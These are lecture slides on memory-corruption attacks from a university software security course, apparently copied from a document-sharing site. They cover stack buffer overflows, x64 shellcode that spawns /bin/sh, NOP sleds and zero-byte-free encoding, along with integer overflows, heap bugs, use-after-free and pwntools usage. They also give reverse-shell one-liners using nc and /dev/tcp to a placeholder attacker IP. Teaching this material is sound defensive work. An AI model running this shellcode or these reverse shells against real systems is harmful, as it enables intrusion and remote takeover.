0% found this document useful (0 votes)
42 views41 pages

06 Software Security 3

Uploaded by

Souhila
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views41 pages

06 Software Security 3

Uploaded by

Souhila
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 41

Security Core Lecture

06 Software Security III –


Memory Corruption
Prof. Dr. Thorsten Holz | 09.11.2023
Further Reading
§ Szekeres et al.: “SoK: Eternal War in Memory”, IEEE S&P’13
§ Many tutorial available
- LiveOverflow: https://www.youtube.com/@LiveOverflow
• https://www.youtube.com/watch?v=oS2O75H57qU
• https://www.youtube.com/watch?v=8QzOC8HfOqU
- https://www.ired.team/offensive-security/code-injection-process-
injection/binary-exploitation/64-bit-stack-based-buffer-overflow
- https://www.rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-
attacks-what-you-need-to-know/

1
This Lecture
§ Last lectures
- Stack and push/pop instructions
- Calling conventions for x64 / x86
§ This lecture
- User vs. kernel mode
- (Stack-based) Buffer overflows
• Data corruption, code execution, shellcode, NOP sleds, zero bytes, …
- Other types of memory corruption vulnerabilities

2
Recap: Memory Layout: Stack in x64
§ Call stack (stack frame) is subroutine’s perspective on stack, includes the
following info
- arguments (parameter values) passed to routine (if any);
- return address back to the routine’s caller
- space for local variables (if any)

§ Red zone as sketch space for function


- System V AMD64 ABI (e.g., Linux and macOS) uses 128
bytes as red zone
- Guarantee that this space is preserved (e.g., not clobbered
by signal handlers)
- Useful for leaf function (overhead of moving rsp is avoided)
- No redzone on Windows, memory below rsp is volatile
3
Recap: Memory Layout: Stack in x86 (Example)
Assembly (int main(), caller)
§ Stack layout (cdecl)
; in main
01: push 0x3
02: call recurse
C Code 03: add esp,0x4
uint32_t recurse(uint32_t a) {
; in recurse
if (a <= 1) {
04: push ebp
return 1;
05: mov ebp,esp
} else { 06: push ebx
return a+recurse(a-1); 07: mov ebx,[ebp+0x8]
} 08: cmp ebx,0x1
fin: 09: mov eax,0x1
} 10: jbe end_recurse
11: lea eax,[ebx-0x1]
12: push eax
int main(...) {
13: call recurse
recurse(3);
14: add esp,0x4
fin: 15: add eax,ebx
} 16: end_recurse:
17: pop ebx
18: leave
19: ret
4
Recap: Memory Layout: Stack in x86 (Example) II

5
User vs. Kernel Mode
Privilege Rings
§ CPU enforces protection levels in hardware
- Intel designed four rings: ring-0 (most privileges) to ring-3 (least privileges)
- System software runs in ring-0 (kernel land)
- Unprivileged processes run in ring-3 (user mode)
- Device drivers were planned to run in ring-1 or ring-2
- Additional rings (-1, etc.) come with virtualization

§ Protection levels provide a hardware-enforced separation


between privileged and less privileged code

7
Privilege Rings II
§ In practice, OSes use just two rings: 0 (kernel) and 3 (user)
- No separation for device drivers, they run in ring-0 as well
- CPU vendors offering just two rings forced OSes to this downgrade in
security

§ Restriction of ring-3 (“unprivileged”) code


- Several instructions are forbidden by CPU
- No access to other processes’ address space
- No direct I/O (files, hardware, bus, ...)
- No direct access to ring-0 code and data
- No direct access to physical memory
- …
8
Memory Separation in Windows/Linux (Revisited)
§ All processes map the kernel, but cannot directly access kernel land
- Mapping kernel allows for efficiency, otherwise kernel switch has to remap
- User land must not be able to read kernel data
- System calls provide the interface between user and kernel land

§ System calls at a glance:


- Unprivileged process invokes one of the
predefined system calls
- System call traps to OS, i.e., CPU elevates
privileges of the process and runs the system
call handler
- System call handler performs operations as
requested by process and returns to the user
(i.e., CPU downgrades privileges)
9
Virtual System Calls / vDSO (virtual dynamic shared object)
§ Some system calls are not really security critical
- E.g., gettimeofday(), which still requires trapping to kernel for each call

§ Virtual system call (vsyscall) run entirely in


user space
- Readable/executable kernel page mapped
in each proc at fixed address
- Security drawback: lack of address
randomization eases code-reuse attacks
§ vDSO overcomes this problem
- vDSO is a shared library in user space and
can be located at any address
- Linux kernel makes particular page
available to unprivileged processes (which
also vDSO library can read) 10
Linux Process Mapping Example

11
Memory Corruption
Vulnerabilities
Memory Corruption
§ Still one of the most widely used attack methods for compromising
computer systems
§ If successful, allows execution of arbitrary code in the context of the exploited
program
§ Goal / Steps for code-injection attacks
- Inject instructions into memory of vulnerable program
- Exploit program vulnerability to change control flow (flow of execution)
- Execute (arbitrary) injected code
§ Disadvantages
- Architecture dependent, we need to directly inject assembler code
- Operating system dependent: use system call functions
- (Maybe) Some guess work involved (correct addressing)
13
Microsoft’s View

14
Google Chromium’s View

“Around 70% of our high severity security


bugs are memory unsafety problems
(that is, mistakes with C/C++ pointers).”
Analysis based on 912 high or critical
severity security bugs since 2015

https://www.chromium.org/Home/chromium-security/memory-safety 15
Buffer Overflow: Data Corruption
§ Buffer overflow
- Out-of-bounds write may corrupt data
(or function pointers)
- Variable-size data types in C do not
enforce strict bounds checks
Buffer Overflow in fgetc() Call
int do_auth() {
register int i = 0;
register char ch;
char username[8];
int auth_successful = 0;
printf("Please enter user name: ");
while ((ch = fgetc(stdin)) != EOF) {
username[i++] = ch;
}
if (!strcmp(username, "aDm1N"))
auth_successful = 1;
}
https://godbolt.org/z/b4KM6becn 16
Buffer Overflow: Data Corruption II
§ As a defense, compilers usually reorder local variables
- Order of variables on stack does not represent the one specified in code
- Store variable types prone to vuln. (e.g., strings, buffers) at higher
addresses
- Store other variables (e.g., integers) at lower addresses
- Out-of-bound writes affects as few other variables as possible

§ Back to example from last side:


- Swapping the order of string buffer and flag variable
would solve the data-only attack problem

17
Buffer Overflow: Code Execution
§ Overwrite return address with pointer to shellcode
- Saved rip will blindly be interpreted as address to return to upon ret
- Attacker can place arbitrary shellcode on stack and execute it (if stack
executable)

Buffer Overflow in fread() Call


#include <stdio.h>

int mystr(char *fn) {


char mystr[512];
FILE * f = fopen(fn, "rb");
fread(mystr, 1024, 1, f);
return mystr[0];
}
https://godbolt.org/z/x6YcqsYP3

18
Buffer Overflow: Code Execution II
§ Function return will transfer control to shellcode
- ret pops saved rip from stack, which is now
attacker-controlled
- If attacker can approximate/guess buffer
address, they can specify target
Assembly Code of Buffer Overflow Example

push rbp
mov rbp, rsp

sub rsp, 0x200


mov esi, 0x4006ac
call 400480 <fopen@plt>

mov rcx, rax


mov edx, 0x1
mov esi, 0x400
lea rdi, [rbp-0x200]
call 400450 <fread@plt>

movsx eax, BYTE PTR [rbp-0x200]

leave
ret ; pop and jump to &shellcode 19
Shellcode
§ Shellcode
- Shellcode is attacker-controlled code that will be jumped to and will
execute after a memory corruption attack
- Shellcode can be seen as the payload of an exploit
- For example: Code placed on an executable stack and returned to

§ Shellcode is almost arbitrary code that gets executed by attacker


- Code that was never meant to execute in a program
- Assumption: Attacker can inject shellcode into memory of running process

20
Introductory Example to Shellcode Writing
§ Our goal is to execute a shell
- This goal is also the origin of the term shellcode: code running a shell
- We aim to use sys_execve(fname, argv, envp) system call
Shellcode to spawn /bin/sh

; sys_execve ( char *fname, char *argv[], char *envp[] )


; rax = 59 ( rdi, rsi, rdx )
; prepare fname argument

mov rbx, '/bin/sh’


push rbx. ; push string in rbx on stack (/bin/sh)
push rsp. ; rsp points to last element on stack ====>
pop rdi ; read pointer to string into rdi

; prepare other two args, basically, pass NULL pointers


mov rsi, 0 ; assumes that /bin/sh is called, not
busybox
mov rdx, 0

; set system call number to execve’s (59) and execute it


mov al, 59 ; assume rest of rax was zero before this op
syscall
21
NOP sleds
§ Sometimes attackers cannot predict exact location of shellcode
- Add nop sled at the beginning of code: several consecutive nop instructions
- No matter where entered, nop sled will lead to actual shellcode payload
- Attacker has higher chance to start at the correct position
NOP sled demo

; NOP sled
nop
nop
mop
nop
; ... more NOPs
nop
nop
nop
nop

; Actual shellcode goes here


xor eax, eax
; ...
22
Shellcode Without Zero Bytes
§ C string functions assume zero byte (0x00) terminates a string
- Effectively, string functions stop when they encounter a zero byte
- Assume you pass an input string to a vulnerable strcpy(src, dst) call
strcpy() stops on the first zero byte encountered in src

§ Solution: Design shellcode to be zero-byte free


- Guarantees that string functions do not terminate prematurely

23
Shellcode Without Zero Bytes II
§ Revisiting our shell code example shows that it is not zero-byte free
§ Two types of zero bytes are immediately visible
- The string “/bin/sh” is zero-terminated (2nd line)
- Moving zero (or other small numbers) into the registers includes zero bytes

Shellcode to spawn /bin/sh

400080: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f6e69622f


400087: 73 68 00 (...)
40008a: 53 push rbx
40008b: 54 push rsp
40008c: 5f pop rdi
40008d: be 00 00 00 00 mov esi,0x0
400092: ba 00 00 00 00 mov edx,0x0
400097: b0 3b mov al,0x3b
400099: 0f 05 syscall

24
Shellcode Without Zero Bytes III
§ Zero-byte free number assignments

Assignment Including Zero Bytes Equivalent but Zero-Free Assignment

; zeroing a register ; zeroing a register


mov rax, 0 xor rax, rax

; store 1-byte integer ; store 1-byte integer


mov rax, 47 xor rax, rax
mov al, 47
; store 3-byte integer
xor rax, rax ; store 3-byte integer
mov rax, 0x112233 xor rax, rax
mov ax, 0x1122
shl eax, 8
mov al, 0x33

25
Shellcode Without Zero Bytes IV
§ Zero-byte free strings

With Zero Bytes Zero-Free (16 bytes; two qwords on stack)

mov rax, '/bin/sh’ xor rax, rax


push rax push rax
0
mov rax, '//bin/sh’ //bin/sh
push rax
/bin/sh0

Zero-Free (24 bytes; one qword on stack)

mov rax, '/bin/shX’


xor rbx, rbx
dec rbx
shr rbx, 8
and rax, rbx ; zero the MSB
push rax

26
Shellcode Without Zero Bytes V
§ Everything put together yields zero-free shellcode

Zero-byte Free Shellcode to Spawn /bin/sh (27 bytes)

; prepare fname
xor rax, rax
push rax
mov rbx, '//bin/sh’
push rbx ; push string in rbx on stack (/bin/sh)
push rsp ; rsp points to last element on stack
pop rdi ; read pointer to string into rdi

; prepare other two args: pass NULL pointers


xor rsi, rsi
xor rdx, rdx

; set syscall number to execve (59) and execute


mov al, 59
syscall

27
Shellcode Minimization
§ Shellcode might be limited in size
- For example, a buffer overflow just allows to store certain number of bytes
- Shellcode typically can be minimized by carefully selecting instructions
- Equivalent instructions (combinations) might exist

Code Not Optimized for Space Space-Optimized Code

; zeroing rax (5B) ; zeroing rax (2B)


mov rax, 0 xor eax, eax

; zero rax, rdx, rbx (6B) ; zero by multiply (4B)


xor eax, eax xor rbx, rbx
xor edx, edx mul rbx
xor ebx, ebx
; MAXINT = 0 – 1 (5B)
; store MAXINT in rax (7B) xor eax, eax
mov rax, 0xffffffffffffffff dec rax

; copy rbx to rax (3B) ; copy via stack (2B)


push rbx
mov rax, rbx
pop rax
28
Reverse Shell
§ A typical exploitation goal is to have a reverse shell
- Reverse shell connects back to attacker and gives attacker a shell over
system
§ There are basically two prominent ways to spawn reverse shell
- Option A: start a tool that gives you remote shell built-in
nc -e /bin/sh 10.0.0.1 1234
- Option B: Use a normal shell and redirect stdin/stdout to network
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- Option B’: If bash features are lacking, redirect stdin/stdout using dup2()
s = socket(); // create socket
dup2(s, 0); // stdout from socket
dup2(s, 1); // stdin from socket
connect(s, dst); // connect to attacker
execve("/bin/sh"); // spawn shell
29
Other Types of Memory
Corruption
Integer Overflows
§ Another class of overflows: integer overflows
- Integers are represented by the CPU using a fixed number of bits
- If value greater than max, integers wrap around (i.e., modulo max value + 1)
- Especially relevant for computations related to memory management

Example

int catvars(char *buf1, char *buf2, unsigned int len1,


unsigned int len2) {

char mybuf[256]; Problem: If len1 = 0x104 and


len2 = 0xfffffffc,
if ((len1 + len2) > 256)
{ return -1; } then len1 + len2 = 0x100
(decimal 256),
memcpy(mybuf, buf1, len1);
memcpy(mybuf + len1, buf2, len2); allowing buffer overflow attack!
do_some_stuff(mybuf);
return 0;
}
31
Heap Corruption Attacks
§ Heap overflow requires modification of boundary tags
- In-band management information
- Task is to fake these tags to trick memory allocator into overwriting
addresses of attacker’s choice
§ Different techniques depending on memory manager
- Phrack 57-9 (Once upon a free())
- Low Fragmentation Heap on Windows
- https://github.com/shellphish/how2heap and LiveOverflow:
https://www.youtube.com/watch?v=HPDBOhiKaD8

32
Use-After-Free Vulnerabilities
§ Temporal memory error: data on heap (e.g., pointer) is freed, but reference
(called dangling pointer) is used by the program as if data were still valid
§ Attacker needs to allocate different type of object on heap such that
dangling pointer points into this area
§ Once dangling pointer is used, attacker can control what data is used
§ Relevant for browsers and other complex programs
- One of the most relevant problems these days
§ LiveOverflow: https://www.youtube.com/watch?v=ZHghwsTRyzQ

33
More Techniques
§ Many more techniques and methods to
corrupt memory
- Type confusion vulnerabilities
- Uninitialized use
- Off-by-one
- Information leaks
- …
§ We covered the basic techniques today,
more details in further reading
- Szekeres et al.: “SoK: Eternal War in
Memory”, IEEE S&P’13
- Advanced lectures on this topic

34
Practical Tools
Useful Tools for Software Exploitation & Shellcode Writing
§ readelf
- Display ELF file header (sections, segments, symbols)
§ nasm –f elf64 inp.asm –o bin
- Compile assembly; useful for shellcoding
§ objdump -d -j ".text" -MIntel bin
- Disassemble code section of program using Intel syntax
§ gdb / gdbtui
- Standard Linux console debugger with assembly support

36
Pwntools
§ Import module and specify environment

from pwn import *


context(arch='amd64', os='linux’)
§ Extract program information

elf_info = ELF('./bin')
elf_info.aslr # true if ASLR enabled
elf_info.nx # true if stack is non-executable
elf_info.symbols['main’] # address of main function
§ Compile assembly using pwntools

bc = asm('mov eax, 0x01020304’) # \xb8\x04\x03\x02\x01


§ Disassemble the machine code back to assembly

disasm(bc) # 0: b8 04 03 02 01 mov eax, 0x1020304

37
Pwntools II
§ Communication with a program executing on a server

p = remote('10.0.0.1', 1234)

p.send('a’) # send "a"


p.sendline('a’) # send "a\n”

data = p.recv() # receive everything printed so far


data = p.recvn(4) # receive n bytes
data = p.recvall() # receive everything until EOF

data = p.recvline() # receive a single line


data = p.recvuntil('mark’) # receive until mark
data = p.recvregex('\d+’) # receive until regex match

38
Pwntools III
§ Writing (‘\n’- and ‘\0’-free) shellcode

shellcraft.amd64.mov('eax', 1) # move 1 to eax w/o \n / term.


shellcraft.amd64.pushstr('abc’) # push 'abc' on stack

§ Custom encoding functions

encode(asm('mov eax, 1234'), 'abcd’) # avoid chars: 'abcd'

39
Pwntools IV
§ Visit http://docs.pwntools.com for more information, such as:
- http://docs.pwntools.com/en/stable/tubes/processes.html
- http://docs.pwntools.com/en/stable/tubes/sockets.htm
- http://docs.pwntools.com/en/stable/tubes.html
- http://docs.pwntools.com/en/stable/asm.html
- https://docs.pwntools.com/en/stable/shellcraft/amd64.html
- http://docs.pwntools.com/en/stable/encoders.html
- http://docs.pwntools.com/en/stable/rop/rop.html
- http://docs.pwntools.com/en/stable/gdb.html
- http://docs.pwntools.com/en/stable/util/packing.html

40

You might also like